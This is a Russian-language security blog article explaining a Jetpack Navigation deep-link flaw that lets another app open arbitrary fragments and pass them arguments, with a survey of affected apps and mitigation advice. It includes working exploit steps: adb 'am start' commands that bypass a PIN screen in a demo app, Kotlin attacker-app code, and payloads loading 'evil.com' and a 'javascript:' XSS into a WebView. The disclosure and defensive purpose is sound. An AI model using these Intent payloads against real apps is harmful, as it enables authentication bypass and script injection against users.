Разбираемся с новой уязвимостью в Android-библиотеке Jetpack Compose: как открыть любой фрагмент из вашего приложения?
Всем привет!
На связи эксперты из Стингрей Технолоджиз — Юрий Шабалин, Веселина Зацепина и Игорь Кривонос. Недавно специалисты из компании Positive Technologies нашли серьезную проблему безопасности в популярной библиотеке для навигации в приложениях Android — Jetpack Compose Navigation. Эта уязвимость позволяет открывать любые фрагменты внутри приложения.
К большому сожалению, несмотря на усилия сообщества, об этой уязвимости мало кто знает. Поэтому сегодня мы хотим еще раз подсветить данную проблему с углублением в детали. В статье мы разберем, что из себя представляет библиотека Jetpack Compose и ее основные элементы, в чем заключается уязвимость и насколько она опасна, а также приведем немного статистики по уязвимым приложениям.
Интересно? Тогда давайте начинать!
О пользовательском интерфейсе Android
Практически каждое приложение имеет пользовательский интерфейс, а точнее экраны, с которыми взаимодействует юзер. С точки зрения разработки, экраны можно реализовать разными способами. Раньше логику UI строили на чистых активностях (Activities) и переходах между ними. Далее всё чаще стали использовать фрагменты (Fragments). Они представлены в виде экрана или его части, обязательно должны иметь Activity как родителя либо встраиваться в другой фрагмент. А еще позднее появился подход Single-Activity, когда в одной активности у нас сменяются Fragments и навигация между экранами осуществляется уже только между фрагментами. Сегодня на смену данному подходу пришел Compose со своей навигацией — об этом мы расскажем подробнее в следующий раз. А пока давайте остановимся на подходе, в котором экраны — это фрагменты со взаимной навигацией.
Для навигации между фрагментами можно использовать разные подходы и библиотеки, мы рассмотрим один из самых популярных — с использованием Android Jetpack Navigation Component.
О Jetpack Navigation
Библиотека навигации из пакета Android Jetpack облегчает работу с фрагментами и предлагает множество преимуществ, таких как:
Автоматическая обработка транзакций фрагментов. Чтобы добавить, удалить или заменить фрагмент, нам необходимо использовать транзакции. Аналогично мы действуем с базой данных: открываем транзакцию, производим операции с БД и выполняем commit. С фрагментами также: открываем транзакцию, выполняем нужные действия (добавление, удаление, замена), а затем commit;
Корректная обработка навигации при нажатии кнопки «Назад»;
Реализация поведения по умолчанию для анимации и переходов;
Обработка Deep Linking;
Реализация шаблонов навигации пользовательского интерфейса (таких как Navigation Drawer и Bottom Navigation);
Безопасность типов при передаче информации во время навигации;
Инструменты Android Studio (среда разработки) для визуализации и редактирования навигации приложения.
Чтобы лучше понимать последующее описание, давайте рассмотрим основные понятия Jetpack Navigation:
NavHost — контейнер, который отображает
NavGraph
. Обычно этоNavHostFragment
, который выступает в качестве контейнера для фрагментов, управляемых навигацией;NavController — управляет навигацией внутри
NavHost
. Этот компонент отвечает за переходы между экранами, управление бэк-стеком и передачу данных;NavGraph — представляет собой карту всех возможных путей навигации в приложении. Включает
Destinations
(цели) иConnections
(переходы);Destination — определяет конечные точки навигации, такие как фрагменты, действия или диалоги. Каждая цель должна иметь уникальный идентификатор;
Action — определяет переходы между
Destinations
.Action
может быть задан как переход с одного фрагмента на другой и может содержать анимации и аргументы для передачи данных;Argument — способ передачи данных между
Destination
. Аргументы задаются вNavGraph
и используются для передачи данных между фрагментами;Safe Args — генерация типобезопасных классов для передачи данных между фрагментами и действиями. Помогает избежать ошибок при использовании аргументов навигации;
Route — понятие маршрута в контексте Jetpack Navigation. Часто используется для описания пути приложения при навигации между экранами. Маршруты определяются в
NavGraph
и управляются с помощьюNavController
. Путь может включать несколькоDestinations
и переходов между ними.Route
помогает структурировать навигацию и делать ее более предсказуемой и организованной;app: startDestination — атрибут, используемый в
NavGraph
для определения начальной точки навигации. Этот атрибут указывает, какойDestination
будет отображен первым при запускеNavHost
. Значение должно быть идентификатором одного из Destinations, определенных вNavGraph
. Установка этого атрибута гарантирует, что приложение начнет свою работу с правильного экрана.
Рассмотрим пример навигационного графа:
Здесь корневой тег с именем navigation
имеет параметр app:startDestination
, который содержит идентификатор нашего первого фрагмента. Таким образом первый фрагмент будет автоматически загружен в NavHostFragment
.
Обратите внимание, что для первого фрагмента мы определили action
со следующими атрибутами:
Каждый action
должен иметь уникальный идентификатор, который мы будем использовать для перехода к нужному destination
. В нашем примере destination
указывает на идентификатор второго фрагмента, определенного в навигационном графе. Это означает, что с помощью этого действия мы перейдем ко второму фрагменту.
Но есть и другая интересная особенность, благодаря которой и стала возможна уязвимость открытия произвольного фрагмента — Explisit Deep Link. Давайте вкратце разберем, что она из себя представляет и как ей пользоваться. По сути, это экземпляр Deep Link, который использует PendingIntent
для направления пользователей в определенное место в приложении.
Когда пользователь открывает приложение по диплинку, стек очищается и заменяется местом назначения из ссылки:
val pendingIntent = NavDeepLinkBuilder(context)
.setGraph(R.navigation.nav_graph)
.setDestination(R.id.android)
.setArguments(args)
.createPendingIntent()
При вложенных графах в стек также добавляется начальный destination
каждого вложенного графа, т.е. каждого элемента в иерархии. Выходит, когда пользователь нажимает кнопку «Назад» из места назначения диплинка, он возвращается обратно вверх по стеку навигации, как если бы он вошел в приложение из его точки входа.
Важно отметить, что описанный выше механизм позволяет переходить на любой экран вашего приложения, даже если этот экран не поддерживает какие-либо диплинки.
В конечном итоге библиотека Jetpack Compose Navigation позволяет удобно управлять навигацией в вашем приложении, предоставляет широкие возможности по настройке и содержит скрытый механизм обработки Deeplink, который и приводит к возникновению проблем с безопасностью.
Описание уязвимости
Для лучшего понимания, в чем же заключается уязвимость, обратимся к оригинальному исследованию. Android IPC (межпроцессное взаимодействие) позволяет стороннему приложению открывать Activity, экспортируемые из другого приложения, но не дает возможность открывать фрагменты. Нужный фрагмент откроется в зависимости от входящих данных, когда атакуемое приложение обработает входящий Intent. Другими словами, именно разработчик определяет, какие фрагменты доступны стороннему приложению, и реализует соответствующую обработку.
Суть проблемы заключается в том, что стороннее приложение может открыть абсолютно любой фрагмент и передать в него любые параметры. При этом абсолютно неважно, что разработчик указывал в коде приложения и какие ограничения устанавливал на обработчике. То есть, злоумышленник может использовать специально созданный Intent для перехода к любому фрагменту в графе навигации в любом заданном порядке, даже если это не предусмотрено приложением. Это нарушает логику программы и открывает новые точки входа из-за возможности определения аргументов для каждого фрагмента.
Эксплуатация уязвимости
В дополнение к исследованию хотим поделиться с вами важными нюансами, которые мы обнаружили во время изучения данной уязвимости. Интересный факт: объект NavController
вызываетсяся методом hadnleDeepLink()
при создании. Также он может быть вызван вручную, например, при получении нового Intent (в методе onNewIntent()
). Важно здесь то, что уже при создании данный метод срабатывает и пытается обработать пришедший Intent. Возможны такие варианты развития событий:
Intent не содержит данных по навигации (в Extas нет аргумента
"android-support-nav:controller:deepLinkIds"
):
public const val KEY_DEEP_LINK_IDS: String = "android-support-nav:controller:deepLinkIds"
public open fun handleDeepLink(intent: Intent?): Boolean {
if (intent == null) {
return false
}
val extras = intent.extras
var deepLink = try {
extras?.getIntArray(KEY_DEEP_LINK_IDS)
} catch (e: Exception) {
Log.e(
TAG,
"handleDeepLink() could not extract deepLink from $intent",
e
)
null
}
// ....
В этом случае ничего не происходит.
Intent содержит массив id для навигации, и в нем установлен флаг
Intent.FLAG_ACTIVITY_NEW_TASK
. Если нет флагаIntent.FLAG_ACTIVITY_CLEAR_TASK
, то Активность запускается заново:
if (flags and Intent.FLAG_ACTIVITY_NEW_TASK != 0 &&
flags and Intent.FLAG_ACTIVITY_CLEAR_TASK == 0
) {
// Someone called us with NEW_TASK, but we don't know what state our whole
// task stack is in, so we need to manually restart the whole stack to
// ensure we're in a predictably good state.
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
val taskStackBuilder = TaskStackBuilder
.create(context)
.addNextIntentWithParentStack(intent)
taskStackBuilder.startActivities()
activity?.let { activity ->
activity.finish()
// Disable second animation in case where the Activity is created twice.
activity.overridePendingTransition(0, 0)
}
return true
}
Если условие из пункта 2 не выполнено, то проверяется наличие флага
Intent.FLAG_ACTIVITY_NEW_TASK
— это уже один из вариантов возможной атаки, когда в результате в графе навигации создается стек фрагментов:
if (flags and Intent.FLAG_ACTIVITY_NEW_TASK != 0) {
// Start with a cleared task starting at our root when we're on our own task
if (!backQueue.isEmpty()) {
popBackStackInternal(_graph!!.id, true)
}
var index = 0
while (index < deepLink.size) {
val destinationId = deepLink[index]
val arguments = args[index++]
val node = findDestination(destinationId)
if (node == null) {
val dest = NavDestination.getDisplayName(
context, destinationId
)
throw IllegalStateException(
"Deep Linking failed: destination $dest cannot be found from the current " +
"destination $currentDestination"
)
}
navigate(
node, arguments,
//...
В остальных случаях происходит поиск нужных элементов графа навигации по их id и, если они найдены, навигация к последнему элементу из массива переданных id:
// Assume we're on another apps' task and only start the final destination
var graph = _graph
for (i in deepLink.indices) {
val destinationId = deepLink[i]
val arguments = args[i]
val node = if (i == 0) _graph else graph!!.findNode(destinationId)
if (node == null) {
val dest = NavDestination.getDisplayName(context, destinationId)
throw IllegalStateException(
"Deep Linking failed: destination $dest cannot be found in graph $graph"
)
}
if (i != deepLink.size - 1) {
// We're not at the final NavDestination yet, so keep going through the chain
if (node is NavGraph) {
graph = node
// Automatically go down the navigation graph when
// the start destination is also a NavGraph
while (graph!!.findNode(graph.startDestinationId) is NavGraph) {
graph = graph.findNode(graph.startDestinationId) as NavGraph?
}
}
} else {
// Navigate to the last NavDestination, clearing any existing destinations
navigate(
node,
//...
Краткий подытог пунктов 3 и 4: если послать Intent, в котором в аргументах Extras с ключом "android-support-nav:controller:deepLinkIds"
, и перечислить идентификаторы нужных фрагментов, то можно либо построить стек навигации из этих Фрагментов (п.3), либо «открыть» последний в переданном массиве (п.4). Выбор между вариантами 3 и 4 зависит от наличия в Intent флага Intent.FLAG_ACTIVITY_NEW_TASK
. Следует отметить, что помимо этого метод hadnleDeepLink()
поддерживает передачу в целевые Фрагменты объектов Bundle()
с аргументами. Но об этом в следующий раз.
Практика
Выше мы выяснили, что для успешной атаки необходимо просто послать Intent, перечислив в его аргументах нужные идентификаторы Фрагментов. В исходной статье использовалось небольшое приложение с навигацией по Фрагментам. Для лучшего понимания оно было немного модифицировано (добавлен Фрагмент с ПИН-кодом и внесены некоторые изменения), но суть осталась прежней. Код модифицированного приложения можно забрать тут.
Приложение содержит два файла навигации: основной — mobile_navigation.xml
, а также для вложенной навигации — deffered_navigation.xml
. В основной файл было добавлено несколько экранов:
Экран-имитация ввода ПИН-кода. Никакой логики он не содержит, лишь требует ввести произвольный ПИН-код при запуске приложения;
Фрагмент с WebView и аргументами, в которые передается url для отображения в WebView;
Фрагмент с сохранением переданных сведений в базу данных;
Фрагмент с отображением переданных данных на экране;
Фрагмент с аргументом, в который передается url некоторого изображения;
Фрагмент с записью переданных данных в файл.
Во все перечисленные выше фрагменты можно перейти из главного HomeFragement (после ввода PIN-кода).
Для атаки требуется послать Intent следующего вида:
$ am start -n package_name/ActivityFullClassName --eia "android-support-nav:controller:deepLinkIds" , , ...
nav_res_id
— это целочисленный идентификатор ресурса xml-файла с навигацией (в исследуемом приложении это android:id="@+id/mobileNavigation"
). В файле R.java
конкретной сборки он равен:
public static int mobileNavigation = 2131231007;
nav_fragment_id
— целочисленный идентификатор ресурса с "android:id"
в файле навигации, например для фрагмента SecondFragment в файле навигации указан следующий атрибут:
При этом в файле R.java
значение идентификатора равно:
public static int navigation_second = 2131231059;
В итоге формируем команду на запуск Intent из шелла:
am start -n ru.ptsecurity.navigation_example/ru.ptsecurity.navigation_example.MainActivity --eia "android-support-nav:controller:deepLinkIds" 2131231007, 2131231059
И… ничего не происходит! То есть Активность перезапускается с нуля и появляется Фрагмент с ПИН-кодом. Но почему? Если воспользоваться отладкой, то можно увидеть, что запущенный такой командой Intent содержит флаг Intent.FLAG_ACTIVITY_NEW_TASK
и НЕ содержит флаг Intent.FLAG_ACTIVITY_CLEAR_TASK
, что приводит к ситуации, описанной нами выше в пункте 2.
Формирование стека Фрагментов
Чтобы получить результат из пункта 3, добавим к Intent флаг: 0x10000000 | 0X00008000 = 268468224
:
am start -n ru.ptsecurity.navigation_example/ru.ptsecurity.navigation_example.MainActivity --eia "android-support-nav:controller:deepLinkIds" 2131231007,2131231059 -f 268468224
В этом случае также откроется Активность с Фрагментом с ПИН-кодом. Но, может быть, нам удалось сформировать стек фрагментов, и кнопка бэк переместит пользователя к указанному SeconFragment?
Не получилось! Чтобы понять, что пошло не так, следует обратиться к коду атакуемого приложения. В методе Активности onCreate()
у объекта navController
вызывается очистка стека фрагментов до HomeFragment включительно, а затем происходит навигация к Фрагменту PasscodeFragment:
navController.apply {
popBackStack(R.id.navigation_home, true)
navigate(R.id.navigation_passcode)
addOnDestinationChangedListener { _, destination, _ ->
binding.navView.isVisible = destination.id != R.id.navigation_passcode
}
}
Чтобы обойти эту проблему можно добавить id Фрагмента HomeFragment в конец массива идентификаторов для навигации (его значение составляет 2131231053
). В результате команда на запуск Intent будет выглядеть так:
am start -n ru.ptsecurity.navigation_example/ru.ptsecurity.navigation_example.MainActivity --eia "android-support-nav:controller:deepLinkIds" 2131231007,2131231059,2131231053 -f 268468224
В итоге удается обойти Фрагмент с ПИН-кодом:
Замечания:
Если бы не чистка стека и принудительная установка Фрагмента с ПИН-кодом на старте, то атака сработала бы без добавления id HomeFragment в массив.
В данном случае метод
handleDeepLink()
работает по сценарию из п.2 (то есть создает стек фрагментов).
Навигация к целевому Фрагменту
Чтобы атака сработала по сценарию из пункта 4 (навигация к указанному Фрагменту) важно, чтобы Intent не содержал флаг Intent.FLAG_ACTIVITY_NEW_TASK
. Проблема здесь в том, что Интенты, запущенные из-под adb shell
, всегда содержат этот флаг, даже если явно указать иное (например -f 0
). Если кто-то знает, как это исправить, то подскажите в комментариях). Поэтому для запуска Интентов будет использоваться стороннее приложение. Код его очень прост:
btn.setOnClickListener {
val navId = edNavId.text.toString().toInt()
val fragId = edFragmentId.text.toString().toInt()
Intent().apply{
setClassName("ru.ptsecurity.navigation_example","ru.ptsecurity.navigation_example.MainActivity")
putExtra("android-support-nav:controller:deepLinkExtras", Bundle())
putExtra("android-support-nav:controller:deepLinkIds", intArrayOf(navId, fragId))
}.let{ startActivity(it)}
}
Здесь из полей ввода извлекаются два id и подставляются как элементы передаваемого в Intent массива идентификаторов. Интерфейс также лишен излишеств:
Интерфейс приложения для атаки
Значение 2131231057
— это id PrivateFragment в файле навигации. И результат атаки выглядит следующим образом:
Следует отметить, что наличие фрагмента с ПИН-кодом вверху стека навигации обусловлено тем, что обработка Intent объектом NavConroller
происходит при его создании, а установка фрагмента PasscodeFragment уже позднее.
Атаки на аргументы Фрагментов
Помимо обработки навигации, метод handleDeepLink()
также извлекает аргументы для последующей передачи в Фрагмент (Фрагменты в случае формирования стека). Здесь возможны два варианта:
Навигация к конечному фрагменту (п.4) — тогда в Intent нужно добавить объект
Bundle
с необходимыми аргументами по ключу"android-support-nav:controller:deepLinkExtras"
;Создание стека фрагментов (п.3) — тогда в Intent необходимо положить массив объектов
Bundle
для каждого фрагмента из создаваемого стека с использованием ключа"android-support-nav:controller:deepLinkArgs"
Естественно, атака на аргументы возможна, только если разработчик как-то их использует внутри Фрагмента.
Атака на WebViewFragment
В коде Фрагмента WebViewFragment из аргументов извлекается строка по ключу "url"
и подставляется в метод loadUrl()
:
val safeArgs: WebViewFragmentArgs by navArgs()
if (safeArgs.url.isNotEmpty()) {
val u = safeArgs.url
loadUrl(u)
}
Соответственно, для атаки на этот Фрагмент (открытие произвольного url), просто необходимо добавить в Intent объект Bundle
с необходимым ключ-значением:
Intent().apply {
setClassName(
"ru.ptsecurity.navigation_example",
"ru.ptsecurity.navigation_example.MainActivity"
)
val b = Bundle()
b.putString("url", "https://evil.com/")
putExtra("android-support-nav:controller:deepLinkExtras", b)
putExtra("android-support-nav:controller:deepLinkIds", intArrayOf(navId, fragId))
}.let { startActivity(it) }
У данного Фрагмента id навигации равен 2131231061
. В результате удается открыть произвольный url:
Также возможно сделать XSS:
b.putString("url", "javascript:document.write(\"hacked
\")")
Р
Как защитить приложение?
В сценарии с атакой на неявные диплинки в навигации Андроид есть один тонкий нюанс: чтобы атака работала, необходимо, чтобы в файле навигации в теге navigation
был указан android:id
. Если его нет, метод findInvalidDestinationDisplayNameInDeepLink()
не может зарезолвить нужный граф навигации. И в оригинальной статье PT, и в документации не акцентируется внимание на том, что явные диплинки будут работать, только если в теге navigation
явно указан атрибут android:id
. Отдельно следует отметить, что сама навигация в приложении прекрасно работает и без этого атрибута — достаточно сослаться на id файла ресурса R.navigation.nav_file_name
.
За резолв диплинков отвечает метод handleDeepLink()
, внутри которого для пришедшего массива идентификаторов вызывается метод findInvalidDestinationDisplayNameInDeepLink
:
// cut...
if (deepLink == null || deepLink.isEmpty()) {
return false
}
val invalidDestinationDisplayName = findInvalidDestinationDisplayNameInDeepLink(deepLink)
if (invalidDestinationDisplayName != null) {
Log.i(
TAG,
"Could not find destination $invalidDestinationDisplayName in the " +
"navigation graph, ignoring the deep link from $intent"
)
return false
}
//cut...
Если метод findInvalidDestinationDisplayNameInDeepLink
возвращает не null
, то диплинк не резолвится и в логе отображается приблизительно такое сообщение:
Could not find destination ru.ptsecurity.navigation_example: navigation/mobile_navigation in the navigation graph, ignoring the deep link from Intent
Метод findInvalidDestinationDisplayNameInDeepLink
:
private fun findInvalidDestinationDisplayNameInDeepLink(deepLink: IntArray): String? {
var graph = _graph
for (i in deepLink.indices) {
val destinationId = deepLink[i]
val node =
(
if (i == 0)
if (_graph!!.id == destinationId) _graph
else null
else
graph!!.findNode(destinationId)
) ?: return NavDestination.getDisplayName(context, destinationId)
if (i != deepLink.size - 1) {
// We're not at the final NavDestination yet, so keep going through the chain
if (node is NavGraph) {
graph = node
// Automatically go down the navigation graph when
// the start destination is also a NavGraph
while (graph!!.findNode(graph.startDestinationId) is NavGraph) {
graph = graph.findNode(graph.startDestinationId) as NavGraph?
}
}
}
}
// We found every destination in the deepLink array, yay!
return null
}
Обратим внимание на строчку:
val node =
(
if (i == 0)
if (_graph!!.id == destinationId) _graph
else null
else
graph!!.findNode(destinationId)
) ?: return NavDestination.getDisplayName(context, destinationId)
Если graph.id
не равен пришедшему из Интента destinationId
(первое число в integer-массиве), то ищется displayName
(имя ресурса по его ID) и возвращается из метода (а мы помним, что если из метода пришел не нулл, то диплинк не резолвится).
Теперь осталось понять, чему равен _graph.id
, если граф навигации получен из файла, в котором не указан android:id
в теге navigation
?
Код класса NavDestination.kt
:
//...
/**
* The destination's unique ID. This should be an ID resource generated by
* the Android resource system.
*/
@get:IdRes
public var id: Int = 0
set(@IdRes id) {
field = id
idName = null
}
//...
Здесь мы видим, что дефолтное значение id = 0, при этом оно получается из андроид-ресурса типа id! Заметьте, что именно id, то есть доступ к нему, осуществляется как R.id.res_name
. Отдельно отметим, что id файла навигации — это R.navigation.file_name
.
Защита в логике
После появления деталей об атаке единственное, что сделал Google, это добавил предупреждение на страницу описания обработки диплинков:
Единственная реакция Google
В нем содержится ссылка на страницу «Conditional navigation», которая описывает очевидные решения с проверкой состояния доступа к запрашиваемому Фрагменту. Но давайте будем честны и подумаем, как часто мы заглядываем в документацию, особенно после того, как функциональность приложения уже написана? Кажется, что чуть реже, чем никогда.
В любом случае разработчик должен понимать, что при сложной логике навигации внутри приложения почти нереально предсказать, где окажется пользователь после множества переходов по экранам. Поэтому следует проверять его права на доступ к текущему контенту (авторизация в широком смысле).
Исследование
Для того чтобы проверить, как обстоят дела «in the wild», мы проанализировали ровно 1000 приложений разных категорий из публичных магазинов и выяснили, что более 20% из них используют библиотеку Jetpack Compose Navigation и могут быть уязвимы к данному типу атаки. То есть, практически у каждого четвертого приложения, которое мы скачиваем, в теории можно открыть произвольный экран.
Конечно, нюансов при эксплуатации много, но это достаточно интересная статистика, не находите?
Подробную статистику с цифрами можно посмотреть на нашем сайте в секции исследований.
Выводы
К сожалению, уязвимость в библиотеке Jetpack Compose осталась практически незамеченной. Мы очень надеемся, что после прочтения этого материала вы поделитесь им с коллегами, чтобы они также могли узнать об этой проблеме, проверить свое приложение и устранить уязвимость, если она у них есть.
Реакция Google на эту проблему выглядит, мягко говоря, странно. Они добавили ничего не значащий комментарий в документацию, которую мало кто читает, и полностью игнорируют ситуацию на своей стороне, хотя функция доступа к фрагментам скрыта внутри библиотеки, и мало кто про неё не знает. Наша цель — донести эту информацию до как можно большего числа разработчиков и компаний.
Мы также хотим предложить аудит защищенности вашего приложения, в ходе которого поможем выявить эту и другие имеющиеся уязвимости и дадим рекомендации по их устранению, адаптированные под ваш продукт. Для этого достаточно подать запрос на аудит и указать в описании ключевое слово #Jetpack
.
Будьте в безопасности и держите руку на пульсе! Если вы интересуетесь мобильной безопасностью и всего, что с этим связано жду вас на своем TG-канале Mobile Appsec World!
До новых встреч!